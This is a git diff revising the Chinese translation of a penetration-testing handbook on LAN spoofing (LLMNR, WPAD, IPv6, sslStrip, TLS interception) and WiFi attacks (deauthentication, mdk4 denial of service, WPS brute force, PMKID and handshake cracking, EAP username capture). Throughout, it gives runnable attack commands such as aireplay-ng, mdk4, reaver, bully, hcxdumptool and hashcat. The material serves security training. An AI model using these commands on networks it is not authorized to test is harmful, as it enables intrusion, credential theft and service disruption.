系统和网络通常存在多条路径。在本地网络中建立 MAC 地址列表后,使用 _gateway-finder.py_ 来识别支持 IPv4 转发的主机。
```
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
@ -633,16 +633,16 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
```
### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
### [欺骗 LLMNR、NBT-NS 和 mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
对于当 DNS 查询失败时的本地主机解析Microsoft 系统依赖于 **Link-Local Multicast Name Resolution (LLMNR)****NetBIOS Name Service (NBT-NS)**。类似地,**Apple Bonjour** 和 **Linux zero-configuration** 实现利用 **Multicast DNS (mDNS)** 在网络中发现系统。由于这些协议的无认证特性及其通过 UDP 广播消息的操作,攻击者可以利用它们将用户重定向到恶意服务。
在 DNS 查询失败时Microsoft 系统依赖于 **链路本地多播名称解析 (LLMNR)****NetBIOS 名称服务 (NBT-NS)** 进行本地主机解析。同样,**Apple Bonjour** 和 **Linux 零配置** 实现利用 **多播 DNS (mDNS)** 在网络中发现系统。由于这些协议的未经身份验证的特性及其通过 UDP 广播消息的操作,攻击者可以利用它们将用户重定向到恶意服务。
您可以使用 Responder 冒充主机搜索的服务,发送虚假响应。\
您可以使用 Responder 冒充主机搜索的服务,发送虚假响应。\
在这里阅读更多关于 [如何使用 Responder 冒充服务](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) 的信息。
### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
### [欺骗 WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
浏览器通常使用 **Web Proxy Auto-Discovery (WPAD) 协议自动获取代理设置**。这涉及从服务器获取配置细节,具体通过一个 URL例如 "http://wpad.example.org/wpad.dat"。客户端可以通过多种机制发现此服务器:
浏览器通常使用 **Web 代理自动发现 (WPAD) 协议自动获取代理设置**。这涉及从服务器获取配置详细信息,具体通过一个 URL例如 "http://wpad.example.org/wpad.dat"。客户端可以通过各种机制发现此服务器:
- 通过 **DHCP**,其中发现通过使用特殊代码 252 条目来促进。
- 通过 **DNS**,这涉及在本地域中搜索标记为 _wpad_ 的主机名。
@ -650,13 +650,13 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
工具 Responder 利用此协议,充当 **恶意 WPAD 服务器**。它使用 DHCP、DNS、LLMNR 和 NBT-NS 误导客户端连接到它。要深入了解如何使用 Responder 冒充服务 [请查看这个](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)。
### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)
### [欺骗 SSDP 和 UPnP 设备](spoofing-ssdp-and-upnp-devices.md)
您可以在网络中提供不同的服务,以尝试 **欺骗用户** 输入一些 **明文凭据**。**关于此攻击的更多信息在** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**。**
您可以在网络中提供不同的服务,以尝试 **欺骗用户** 输入一些 **明文凭据**。**关于此攻击的更多信息在** [**欺骗 SSDP 和 UPnP 设备**](spoofing-ssdp-and-upnp-devices.md)**。**
### IPv6 Neighbor Spoofing
### IPv6 邻居欺骗
此攻击与 ARP Spoofing 非常相似,但在 IPv6 世界中。您可以让受害者认为 GW 的 IPv6 拥有攻击者的 MAC。
此攻击与 ARP 欺骗非常相似,但在 IPv6 世界中。您可以让受害者认为 GW 的 IPv6 拥有攻击者的 MAC。
```bash
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
@ -671,7 +671,7 @@ fake_router6 wlan0 fe80::01/16
```
### IPv6 DHCP欺骗
默认情况下,一些操作系统尝试通过读取网络中的DHCPv6数据包来配置DNS。然后攻击者可以发送一个DHCPv6数据包将自己配置为DNS。DHCP还为受害者提供了一个IPv6地址。
默认情况下一些操作系统尝试通过网络中的DHCPv6数据包来配置DNS。然后攻击者可以发送一个DHCPv6数据包将自己配置为DNS。DHCP还为受害者提供了一个IPv6地址。
```bash
dhcp6.spoof on
dhcp6.spoof.domains <list of domains>
@ -684,7 +684,7 @@ mitm6
### sslStrip
基本上,这个攻击的作用是,在**用户**尝试**访问**一个**HTTP**页面并**重定向**到**HTTPS**版本时,**sslStrip**将**保持**与**客户端的HTTP连接**和与**服务器的HTTPS连接**,这样它就能够以**明文**式**嗅探**连接。
基本上,这个攻击的作用是,在**用户**尝试**访问**一个**HTTP**页面并**重定向**到**HTTPS**版本时,**sslStrip**将**保持**与**客户端的HTTP连接**和与**服务器的HTTPS连接**,这样它就能够以**明文**式**嗅探**连接。
```bash
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
@ -693,16 +693,16 @@ sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
```
更多信息 [这里](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf)。
更多信息 [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf)。
### sslStrip+ 和 dns2proxy 绕过 HSTS
**sslStrip+ 和 dns2proxy** 与 **sslStrip** 的**区别**在于它们会**重定向**例如 _**www.facebook.com**_ **到** _**wwww.facebook.com**_(注意**多出的**“**w**”),并将**该域名的地址设置为攻击者 IP**。这样,**客户端**将**连接**到 _**wwww.facebook.com**_ **(攻击者)**,但在后台**sslstrip+**将**通过 https 维护**与 **www.facebook.com** 的**真实连接**。
**sslStrip+ 和 dns2proxy** 与 **sslStrip** 的**区别**在于它们会**重定向**例如 _**www.facebook.com**_ **到** _**wwww.facebook.com**_(注意**多了一个**“**w**”),并将**该域名的地址设置为攻击者 IP**。这样,**客户端**将**连接**到 _**wwww.facebook.com**_ **(攻击者)**,但在后台**sslstrip+**将**保持**与 **www.facebook.com** 的**真实连接**通过 https
技术的**目标**是**避免 HSTS**,因为 _**wwww**.facebook.com_ **不会**被保存在**浏览器的缓存**中,因此浏览器会被欺骗以在 HTTP 中执行**facebook 认证**。\
技术的**目标**是**避免 HSTS**,因为 _**wwww**.facebook.com_ **不会**被保存在**浏览器的缓存**中,因此浏览器会被欺骗以在 HTTP 中执行**facebook 认证**。\
请注意,为了执行此攻击,受害者必须最初尝试访问 [http://www.faceook.com](http://www.faceook.com),而不是 https。这可以通过修改 http 页面中的链接来实现。
更多信息 [这里](https://www.bettercap.org/legacy/#hsts-bypass)[这里](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) 和 [这里](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly)。
更多信息 [here](https://www.bettercap.org/legacy/#hsts-bypass)[here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) 和 [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly)。
**sslStrip 或 sslStrip+ 不再有效。这是因为浏览器中预先保存了 HSTS 规则,因此即使用户第一次访问“重要”域名,他也会通过 HTTPS 访问。此外,请注意,预先保存的规则和其他生成的规则可以使用标志** [**`includeSubdomains`**](https://hstspreload.appspot.com) **,因此之前的 _**wwww.facebook.com**_ **示例将不再有效,因为** _**facebook.com**_ **使用 HSTS 和 `includeSubdomains`。**
@ -725,7 +725,7 @@ openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
```
#### 使用证书监听
#### 使用证书进行监听
```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
```
@ -733,10 +733,10 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI
```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
```
有时,如果客户检查CA是有效,您可以**提供由CA签署的其他主机名的证书**。\
另一个有趣的测试是**提供请求的主机名但自签名的证书**。
有时,如果客户检查CA是有效,您可以**提供由CA签署的其他主机名的证书**。\
另一个有趣的测试是**提供请求的主机名的自签名证书**。
其他测试内容尝试用一个有效的证书签署该证书但该证书不是有效的CA。或者使用有效的公钥强制使用一种算法如Diffie-Hellman不需要用真实私钥解密的算法当客户请求真实私钥的探测如哈希发送一个假探测并期望客户不检查这个。
其他测试内容包括尝试用一个有效的证书签署该证书,但该证书不是有效的CA。或者使用有效的公钥强制使用一种算法如Diffie-Hellman不需要用真实私钥解密的算法当客户请求真实私钥的探测(如哈希)时,发送一个假探测,并期望客户不检查这个。
## Bettercap
```bash
@ -770,11 +770,11 @@ wifi.recon on; wifi.ap
### **ARP发现**
ARP数据包用于发现网络中正在使用的IP。PC必须为每个可能的IP地址发送请求只有正在使用的IP会响应。
ARP数据包用于发现网络中正在使用的IP。计算机必须为每个可能的IP地址发送请求只有正在使用的IP会响应。
### **mDNS多播DNS**
Bettercap每隔X毫秒发送一个MDNS请求询问**\_services\_.dns-sd.\_udp.local**,看到这个数据包的机器通常会回答这个请求。然后,它只搜索回答“services”的机器。
Bettercap每隔X毫秒发送一个MDNS请求询问**\_services\_.dns-sd.\_udp.local**,看到此数据包的机器通常会回答此请求。然后,它只搜索响应“services”的机器。
**工具**
@ -784,7 +784,7 @@ Bettercap每隔X毫秒发送一个MDNS请求询问**\_services\_.dns-sd.\_udp
### **NBNSNetBios名称服务器**
Bettercap广播数据包到端口137/UDP询问名称“CKAAAAAAAAAAAAAAAAAAAAAAAAAAA”。
Bettercap向端口137/UDP广播数据包询问名称“CKAAAAAAAAAAAAAAAAAAAAAAAAAAA”。
### **SSDP简单服务发现协议**

View File

@ -45,7 +45,7 @@ v1s1t0r1sh3r3/airgeddon
```
### wifiphisher
它可以执行 Evil Twin、KARMA 和 Known Beacons 攻击,然后使用钓鱼模板来获取网络真实密码或捕获社交网络凭据。
它可以执行 Evil Twin、KARMA 和 Known Beacons 攻击,然后使用钓鱼模板来成功获取网络真实密码或捕获社交网络凭据。
```bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
@ -53,13 +53,13 @@ sudo python setup.py install # Install any dependencies
```
### [Wifite2](https://github.com/derv82/wifite2)
该工具自动化 **WPS/WEP/WPA-PSK** 攻击。它将自动执行
该工具自动化 **WPS/WEP/WPA-PSK** 攻击。它将自动:
- 设置接口为监控模式
- 扫描可能的网络 - 并让您选择受害者
- 如果是 WEP - 发起 WEP 攻击
- 如果是 WPA-PSK
- 如果是 WPSPixie dust 攻击和暴力破解攻击(注意,暴力破解攻击可能需要很长时间)。请注意,它不会尝试空 PIN 或数据库/生成的 PIN。
- 如果是 WPSPixie dust 攻击和暴力破解攻击(注意,暴力破解攻击可能需要很长时间)。请注意,它不会尝试空 PIN 或数据库/生成的 PIN。
- 尝试从 AP 捕获 PMKID 以进行破解
- 尝试使 AP 的客户端失去认证以捕获握手
- 如果有 PMKID 或握手尝试使用前5000个密码进行暴力破解。
@ -67,11 +67,11 @@ sudo python setup.py install # Install any dependencies
## 攻击总结
- **DoS**
- 失去认证/解除关联 -- 断开所有人(或特定 ESSID/客户端)
- 失去认证/解除关联 -- 断开所有人(或特定 ESSID/客户端)
- 随机假 AP -- 隐藏网络,可能使扫描器崩溃
- 过载 AP -- 尝试杀死 AP通常不是很有用
- WIDS -- 玩弄 IDS
- TKIP, EAPOL -- 一些特定的 DoS 攻击某些 AP
- TKIP, EAPOL -- 一些特定的 DoS 攻击针对某些 AP
- **破解**
- 破解 **WEP**(多种工具和方法)
- **WPA-PSK**
@ -83,7 +83,7 @@ sudo python setup.py install # Install any dependencies
- **暴力破解** 凭证
- **恶意双胞胎**(有或没有 DoS
- **开放** 恶意双胞胎 \[+ DoS] -- 有助于捕获强制门户凭证和/或执行局域网攻击
- **WPA-PSK** 恶意双胞胎 -- 如果您知道密码,有助于网络攻击
- **WPA-PSK** 恶意双胞胎 -- 如果您知道密码,对网络攻击很有用
- **WPA-MGT** -- 有助于捕获公司凭证
- **KARMA, MANA**, **Loud MANA**, **已知信标**
- **+ 开放** -- 有助于捕获强制门户凭证和/或执行局域网攻击
@ -109,7 +109,7 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
### 断开关联数据包
**断开关联数据包**类似于去认证数据包是在Wi-Fi网络中使用的一种管理帧。这些数据包用于切断设备如笔记本电脑或智能手机与接入点AP之间的连接。断开关联和去认证之间的主要区别在于它们的使用场景。虽然AP发出**去认证数据包以明确地将流氓设备从网络中移除但断开关联数据包通常在AP进行关机、重启或移动时发送从而需要断开所有连接的节点。**
**断开关联数据包**类似于去认证数据包是在Wi-Fi网络中使用的一种管理帧。这些数据包用于切断设备如笔记本电脑或智能手机与接入点AP之间的连接。断开关联和去认证之间的主要区别在于它们的使用场景。虽然AP发出**去认证数据包以明确地将恶意设备从网络中移除但断开关联数据包通常在AP进行关机、重启或移动时发送从而需要断开所有连接的节点。**
**此攻击可以通过mdk4模式"d")执行:**
```bash
@ -136,7 +136,7 @@ mdk4 wlan0mon b -a -w nta -m
```
**攻击模式 a: 认证拒绝服务**
向范围内所有可访问的接入点 (AP) 发送认证帧可能会使这些 AP 过载,尤其是在涉及多个客户端时。这种强烈的流量可能导致系统不稳定,导致一些 AP 冻结或甚至重置。
向范围内所有可访问的接入点AP发送认证帧可能会使这些 AP 过载,特别是在涉及多个客户端时。这种强烈的流量可能导致系统不稳定,导致一些 AP 冻结或甚至重置。
```bash
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
@ -146,7 +146,7 @@ mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
```
**攻击模式 p: SSID 探测和暴力破解**
探测接入点 (AP) 检查 SSID 是否正确显示,并确认 AP 的范围。此技术与 **暴力破解隐藏 SSID** 结合使用,无论是否使用字典,都有助于识别和访问隐藏网络。
探测接入点 (AP) 检查 SSID 是否正确显示,并确认 AP 的范围。此技术与 **暴力破解隐藏 SSID**(有或没有字典)相结合,有助于识别和访问隐藏网络。
**攻击模式 m: Michael 对策利用**
@ -163,20 +163,20 @@ mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
```
**攻击模式 s: 针对 IEEE 802.11s 网状网络的攻击**
**ATTACK MODE s: 对IEEE 802.11s网状网络的攻击**
对网状网络中链路管理和路由的各种攻击。
**攻击模式 w: WIDS 混淆**
**ATTACK MODE w: WIDS混淆**
将客户端交叉连接到多个 WDS 节点或假冒的恶意 AP 可以操纵入侵检测和防御系统,造成混淆和潜在的系统滥用。
将客户端交叉连接到多个WDS节点或假冒的恶意AP可以操纵入侵检测和防御系统造成混淆和潜在的系统滥用。
```bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
```
**攻击模式 f: 数据包模糊器**
一个具有多种数据包源和全面数据包操作修改器的数据包模糊器。
一个具有多种数据包源和全面数据包操作修改器的数据包模糊器。
### **Airggedon**
@ -186,16 +186,16 @@ _**Airgeddon**_ 提供了之前评论中提出的大多数攻击:
## WPS
WPSWi-Fi 保护设置)简化了将设备连接到路由器的过程,提高了加密网络(使用 **WPA****WPA2** 个人)的设置速度和便利性。对于容易被攻破的 WEP 安全性它是无效的。WPS 使用一个 8 位数字的 PIN分为两部分进行验证这使得它容易受到暴力破解攻击因为组合数量有限11,000 种可能性)
WPSWi-Fi 保护设置)简化了将设备连接到路由器的过程,提高了加密**WPA****WPA2** 个人网络的设置速度和便利性。对于容易被攻破的 WEP 安全性它是无效的。WPS 使用一个 8 位数字的 PIN分为两部分进行验证这使得它由于组合数量有限11,000 种可能性)而容易受到暴力攻击
### WPS 暴力破解
执行此操作的主要工具有 2 个Reaver 和 Bully。
- **Reaver** 被设计为对 WPS 进行强大且实用的攻击,并已针对各种接入点和 WPS 实现进行了测试。
- **Bully** 是 WPS 暴力破解攻击的 **新实现**,用 C 编写。它相较于原始的 reaver 代码有几个优点:依赖性更少,内存和 CPU 性能更好,正确处理字节序,以及更强大的选项集。
- **Reaver** 被设计为对 WPS 的一种强大且实用的攻击,并已在各种接入点和 WPS 实现中进行了测试。
- **Bully** 是 WPS 暴力破解攻击的 **新实现**,用 C 语言编写。它相较于原始的 Reaver 代码有几个优势:依赖性更少,内存和 CPU 性能更好,正确处理字节序,以及更强大的选项集。
该攻击利用了 **WPS PIN 的漏洞**,特别是前四位数字的暴露和最后一位数字作为校验和的角色,简化了暴力破解攻击。然而,针对暴力破解攻击的防御措施,如 **阻止攻击者的 MAC 地址**,需要 **MAC 地址轮换** 以继续攻击。
该攻击利用了 **WPS PIN 的漏洞**,特别是前四位数字的暴露和最后一位数字作为校验和的角色,简化了暴力攻击。然而,针对暴力攻击的防御措施,如 **阻止攻击者的 MAC 地址**,需要 **MAC 地址轮换** 以继续攻击。
在使用 Bully 或 Reaver 等工具获取 WPS PIN 后,攻击者可以推导出 WPA/WPA2 PSK从而确保 **持续的网络访问**
```bash
@ -204,9 +204,9 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
```
**智能暴力破解**
这种精细的方法针对使用已知漏洞的WPS PIN
这种精细的方法针对使用已知漏洞的WPS PIN
1. **预先发现的PIN**利用与特定制造商相关的已知PIN数据库这些制造商已知使用统一的WPS PIN。该数据库将MAC地址的前三个八位字节与这些制造商可能PIN相关联。
1. **预先发现的PIN**利用与特定制造商相关的已知PIN数据库这些制造商已知使用统一的WPS PIN。该数据库将MAC地址的前三个八位字节与这些制造商可能PIN相关联。
2. **PIN生成算法**利用像ComputePIN和EasyBox这样的算法根据AP的MAC地址计算WPS PIN。Arcadyan算法还需要设备ID为PIN生成过程增加了一层。
### WPS Pixie Dust攻击
@ -224,13 +224,13 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
```
### Null Pin 攻击
一些设计不良的系统甚至允许 **Null PIN**一个空的或不存在的 PIN授予访问权限这非常不寻常。工具 **Reaver** 能够测试此漏洞,而 **Bully** 则无法。
一些设计不良的系统甚至允许 **Null PIN**(空的或不存在的 PIN授予访问权限这非常不寻常。工具 **Reaver** 能够测试此漏洞,而 **Bully** 则无法。
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
```
### Airgeddon
所有提议的 WPS 攻击都可以轻松使用 _**airgeddon.**_
所有提议的 WPS 攻击都可以轻松使用 _**airgeddon.**_
![](<../../images/image (219).png>)
@ -242,7 +242,7 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
## **WEP**
现在已经破损且不再使用。只需知道 _**airgeddon**_ 有一个名为 "All-in-One" 的 WEP 选项来攻击这种保护。更多工具提供类似选项。
现在已经破损且不再使用。只需知道 _**airgeddon**_ 有一个名为 "All-in-One" 的 WEP 选项来攻击这种保护。更多工具提供类似选项。
![](<../../images/image (432).png>)
@ -254,7 +254,7 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
### PMKID
在 2018 年,**hashcat** [揭示](https://hashcat.net/forum/thread-7717.html) 了一种新的攻击方法,独特之处在于它只需要 **一个单一的数据包**,并且不需要任何客户端连接到目标 AP——只需攻击者与 AP 之间的交互。
在 2018 年,**hashcat** [揭示](https://hashcat.net/forum/thread-7717.html)了一种新的攻击方法,独特之处在于它只需要 **一个单一的数据包**,并且不需要任何客户端连接到目标 AP——只需攻击者与 AP 之间的交互。
许多现代路由器在关联期间向 **第一个 EAPOL** 帧添加了一个 **可选字段**,称为 `Robust Security Network`。这包括 `PMKID`
@ -262,7 +262,7 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
```bash
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
```
鉴于“PMK 名称”是恒定的,我们知道 AP 和站点的 BSSID并且 `PMK` 与完整的 4 次握手中的相同,**hashcat** 可以利用这些信息来破解 PSK 并恢复密码短语!
鉴于“PMK名称”是恒定的我们知道AP和站点的BSSID并且`PMK`与完整的4次握手中的相同**hashcat**可以利用这些信息来破解PSK并恢复密码短语
要**收集**这些信息并在本地**暴力破解**密码,您可以执行:
```bash
@ -277,15 +277,15 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
```
捕获的 **PMKIDs** 将显示在 **控制台** 中,并且也会 **保存在** \_ **/tmp/attack.pcap**\_\
现在,将捕获的数据转换为 **hashcat/john** 格式并破解:
现在,将捕获的数据转换为 **hashcat/john** 格式并进行破解:
```bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```
请注意,正确哈希格式包含 **4 个部分**,例如:`4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` 如果您的哈希 **仅** 包含 **3 个部分**,那么它是 **无效的**PMKID 捕获无效)。
请注意,正确哈希格式包含 **4 个部分**,例如:`4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` 如果您的哈希 **仅** 包含 **3 个部分**,那么它是 **无效的**PMKID 捕获无效)。
请注意,`hcxdumptool` **也会捕获握手**(会出现类似这样的内容:**`MP:M1M2 RC:63258 EAPOLTIME:17091`**)。您可以使用 `cap2hccapx` **握手** 转换为 **hashcat**/**john** 格式。
请注意,`hcxdumptool` **也会捕获握手**(会出现类似这样的内容:**`MP:M1M2 RC:63258 EAPOLTIME:17091`**)。您可以使用 `cap2hccapx` **握手** 转换为 **hashcat**/**john** 格式。
```bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
@ -300,7 +300,7 @@ _我注意到使用这个工具捕获的一些握手即使知道正确的密码
**WPA/WPA2** 网络的攻击可以通过捕获 **握手** 并尝试 **离线破解** 密码来执行。这个过程涉及监控特定网络和 **BSSID** 在特定 **频道** 上的通信。以下是简化的指南:
1. 确定目标网络的 **BSSID**、**频道** 和 **连接的客户端**
2. 使用 `airodump-ng` 监控指定频道和 BSSID 的网络流量,期望捕获一个握手。命令将如下所示
2. 使用 `airodump-ng` 监控指定频道和 BSSID 的网络流量,期望捕获一个握手。命令看起来像这样
```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
```
@ -332,64 +332,64 @@ tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the
```
cowpatty -r psk-01.cap -s "ESSID" -f -
```
_如果这个工具在完成的握手之前找到一个ESSID的未完成握手它将无法检测到有效的握手。_
_如果工具在完成的握手之前找到一个ESSID的未完成握手它将无法检测到有效的握手。_
**pyrit**
```bash
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
```
## **WPA 企业版 (MGT)**
## **WPA Enterprise (MGT)**
**企业 WiFi 设置中,您将遇到各种认证方法**,每种方法提供不同的安全级别和管理功能。当您使用工具如 `airodump-ng` 检查网络流量时,您可能会注意到这些认证类型的标识符。一些常见的方法包括:
在**企业WiFi设置中您将遇到各种认证方法**,每种方法提供不同的安全级别和管理功能。当您使用工具如`airodump-ng`检查网络流量时,您可能会注意到这些认证类型的标识符。一些常见的方法包括:
```
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
```
1. **EAP-GTC (通用令牌卡)**:
- 此方法支持硬件令牌和一次性密码在 EAP-PEAP 中。与 MSCHAPv2 不同,它不使用对等挑战,并以明文形式将密码发送到接入点,存在降级攻击的风险。
2. **EAP-MD5 (消息摘要 5)**:
- 涉及从客户端发送密码的 MD5 哈希。由于易受字典攻击、缺乏服务器认证以及无法生成会话特定的 WEP 密钥,因此**不推荐**使用。
- 此方法支持硬件令牌和一次性密码在EAP-PEAP中。与MSCHAPv2不同它不使用对等挑战并以明文形式将密码发送到接入点存在降级攻击的风险。
2. **EAP-MD5 (消息摘要5)**:
- 涉及从客户端发送密码的MD5哈希。由于易受字典攻击、缺乏服务器认证以及无法生成会话特定的WEP密钥因此**不推荐**使用。
3. **EAP-TLS (传输层安全)**:
- 利用客户端和服务器端证书进行认证,并可以动态生成基于用户和会话的 WEP 密钥以保护通信。
- 利用客户端和服务器端证书进行认证并可以动态生成基于用户和会话的WEP密钥以保护通信。
4. **EAP-TTLS (隧道传输层安全)**:
- 通过加密隧道提供认证,并提供一种方法来推导动态的、每用户、每会话的 WEP 密钥。只需要服务器端证书,客户端使用凭据。
- 通过加密隧道提供双向认证并提供一种方法来推导动态的、每用户、每会话的WEP密钥。只需要服务器端证书客户端使用凭据。
5. **PEAP (受保护的可扩展认证协议)**:
- 通过创建 TLS 隧道进行受保护的通信,功能类似于 EAP。由于隧道提供的保护它允许在 EAP 之上使用较弱的认证协议。
- **PEAP-MSCHAPv2**: 通常称为 PEAP它将易受攻击的 MSCHAPv2 挑战/响应机制与保护性 TLS 隧道结合在一起。
- **PEAP-EAP-TLS (或 PEAP-TLS)**: 类似于 EAP-TLS但在交换证书之前启动 TLS 隧道,提供额外的安全层。
- 通过创建TLS隧道进行受保护的通信功能类似于EAP。由于隧道提供的保护它允许在EAP之上使用较弱的认证协议。
- **PEAP-MSCHAPv2**: 通常称为PEAP它将易受攻击的MSCHAPv2挑战/响应机制与保护性的TLS隧道结合在一起。
- **PEAP-EAP-TLS (或PEAP-TLS)**: 类似于EAP-TLS但在交换证书之前启动TLS隧道提供额外的安全层。
您可以在 [这里](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol) [这里](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html) 找到有关这些认证方法的更多信息。
您可以在[这里](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol)和[这里](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html)找到有关这些认证方法的更多信息。
### 用户名捕获
阅读 [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27),看起来如果您使用 **EAP****“身份”** **消息**必须**支持**,并且**用户名**将在**“响应身份”**消息中以**明文**发送。
阅读[https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27),看起来如果您使用**EAP****“身份”** **消息**必须**支持**,并且**用户名**将在**“响应身份”**消息中以**明文**发送。
即使使用最安全的认证方法之一:**PEAP-EAP-TLS**,也可能**捕获在 EAP 协议中发送的用户名**。为此,**捕获认证通信**(在一个频道内启动 `airodump-ng`并在同一接口中启动 `wireshark`)并通过 `eapol` 过滤数据包。\
即使使用最安全的认证方法之一:**PEAP-EAP-TLS**,也可能**捕获在EAP协议中发送的用户名**。为此,**捕获认证通信**(在一个频道内启动`airodump-ng`并在同一接口中启动`wireshark`)并通过`eapol`过滤数据包。\
在“**响应,身份**”数据包中,客户端的**用户名**将出现。
![](<../../images/image (850).png>)
### 匿名身份
身份隐藏由 EAP-PEAP EAP-TTLS 支持。在 WiFi 网络的上下文中EAP-身份请求通常由接入点AP在关联过程中发起。为了确保用户匿名性的保护用户设备上的 EAP 客户端的响应仅包含初始 RADIUS 服务器处理请求所需的基本信息。这个概念通过以下场景进行说明:
身份隐藏由EAP-PEAP和EAP-TTLS支持。在WiFi网络的上下文中EAP-身份请求通常由接入点AP在关联过程中发起。为了确保用户匿名性的保护用户设备上的EAP客户端的响应仅包含初始RADIUS服务器处理请求所需的基本信息。这个概念通过以下场景进行说明
- EAP-身份 = 匿名
- 在这种情况下,所有用户都使用伪名“匿名”作为他们的用户标识符。初始 RADIUS 服务器作为 EAP-PEAP EAP-TTLS 服务器,负责管理 PEAP TTLS 协议的服务器端。内部受保护的认证方法可以在本地处理或委托给远程家庭RADIUS 服务器。
- 在这种情况下所有用户都使用伪名“匿名”作为他们的用户标识符。初始RADIUS服务器作为EAP-PEAP或EAP-TTLS服务器负责管理PEAP或TTLS协议的服务器端。内部受保护的认证方法可以在本地处理或委托给远程家庭RADIUS服务器。
- EAP-身份 = 匿名@realm_x
- 在这种情况下,来自不同领域的用户隐藏他们的身份,同时指示他们各自的领域。这允许初始 RADIUS 服务器将 EAP-PEAP EAP-TTLS 请求代理到其家庭领域中的 RADIUS 服务器,这些服务器充当 PEAP TTLS 服务器。初始 RADIUS 服务器仅作为 RADIUS 中继节点运行。
